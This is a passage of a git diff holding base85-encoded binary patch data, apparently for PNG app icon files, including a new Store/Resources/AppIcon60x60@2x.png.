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 Z*AgWH;Inbc@dU2ou6S|C&QZbazX2z{!N~vs literal 0 HcmV?d00001 diff --git a/Store/Resources/AppIcon60x60@2x.png b/Store/Resources/AppIcon60x60@2x.png new file mode 100644 index 0000000000000000000000000000000000000000..e4a223a075798693bdc23700ca43ce840acccdf3 GIT binary patch literal 15901 zcmd_Rdo+~&`#(BT2{9ECVJbx>B#AW5Jf#Rp$XO;yP9Y>CW2SPL9H$T^%u|x&R5?{- zFb+jEIfYT?RLLp#IEOg)8RUO#1o+dEX2kk62s{EWEwvu8V!f2~ zdMQa80tL@=)xTpS{_`WXLVD$@)iP^j<>X<5+I5H(Qqs~ZR!Xm0wQ?nF9S8p(v2y*Y z4O@+ltX6XHk=Yimyzj=HhikNtzGzW#>;bkLpO3gHE4NW~lbZSt9o?O~cJDViU}|>I z+~U}AORE#sHcn@pU0mJVJ$x_tUGxtK42rxGbu}6vb1gn0F^PODIVCeI`)*F|z598O ziXIm~DS2A@>}7RLZC(AV*Kbdfq*kn4DZNtWAHSqlM8kj5>sPMYYP5R85eFHcaHVbg zZmdy0dgtMb7Flg$M?mF#M33CY?fW@9`2V=}$Fu)$j@|tK<=KBb_J8`tM68vTf;Ufk zJpzkZwqS(Kn2zISaN56Vs97vmI9&CEbSq|B^i#C+d)y#Td}L~Hmez(Ai06pe5tvE7 z1hGXByoBRw#gbxZHV08rpagL{)JBM;LWS;ZQZHxTLF;XJV`NG@cJhV^DxeIsJO zYkef?LH~Z4)t|3IUZmX>Zyl>&d@x^hXAwtPlBvdZNf7JiMuZ=i9o`A6I-&UgsdLd$ zW!gWLAe!v15xcu^(UA0j0E1iF8TWXZBK+Pn)mXepYDW70kRUS2|1s41V~6P0%i@@7KNMp<7lNzzc;{E>~1-~Dt1~DS$UrVchclKX94N3-P8(xn? zO{#)?`N;NBEx*L&sN+3cFDlZX4ChKA`NM1`$A28NaP-C-em;ob%$ z>US^0oWYMEd4KcwrBF5RO2fTveXTu?;n@%EPL*?uT}rm!-F^CJsf%r9zTbgIVshdu z(-bq7c`Gm`0|-LemVO_QAe_4*(5nb^O_%jo3;b;owm;>RdM~`dCp)yBro8odYxab3 z-2@BnqL2w^46_91L=Q-T5(Kk*%J^fjP6JTIu}ZbNDISo%H@dY_C$VBuv7tpug5Yer zwU3j1+ZEg88r0z~=qAJ2~-YLE|OhVgJIQ;nV>A!gr@g3cR_CJ#qI znswuvGmIw_-fGqT=dz4!12S*M^UJ%(TiQ*6Y}~C@es|j)(&Q0S=u7#)^fd5KEY2=@ zQlb0f>H@ZS)_&Nk`HV95i~Yt|43oQAPhX-brIq6~<3)$6WrWjS60C=2k9DH}4 zc)xJZ`R(7(NEyzy(Uc75JiGR5gN)rczc&(u_B;VKMO!xa;i1Yej_&-aWILLpoif{K zo+UvjN+$td>t}Ovdju2v8KAByq>A;-Pt^==Uj11~T!_7h1g)lqklYjo*EAj4%r#b< zpat}tqgEfQm>tYDEM}$ci+1~vB)3=-ab~cDminOnli0u3UJw+gb}lmq*JKP4Sr8-hDYkP@$>Nr}JeZ`$WZ2ToWb zQD+b`t#CVJzT; ze43Rr1pg3&wq(p>F{{~wkTOFo>kwH49TC;f+b6MVC{q;f!TEIKHd0OQ z)O*fHPx}XKowubp1%n=pE?!G$(`(|xNw@hOe4+kJ$9)~@p1Br3U#<~Xz6>Qdfhz(7 z=R3H2bfPqLllNbKopC(9V0YO5?!CdX8Sj7WifB9r)cBd>Aq}TfZ`CiCq?M?e*Ld$f zowR|J0&;}=%nViND#nH@Uc4@}YrpTOzL2ZPH;BTSz6T%erJ(ojuSQ>6{&GCeuGFc8 zTjEmZ>=997fwGd9MYodce>H9CC0G}Ydv5{6Wj+-F9zP5G%6>6B?ni0GO*V+$%qP;>*KZ z^z*wqD%9tL`m!H7-t~w`8~>!xaXB;F)6N)j`!GxB-0>lN2@`g`?MFSC zA^L!+6s5(b5TzR5&Y3uV=3z43wZz<{)Xv*D-lNR4WDGTf{2)Q3U;TrdW^uXM#2HZP zzux^fY7WO({gxoEYlVvehynKe3CM^47_K&b@S6tjt9Qd|)o74(XFL{*rHj|ZG)*o^ 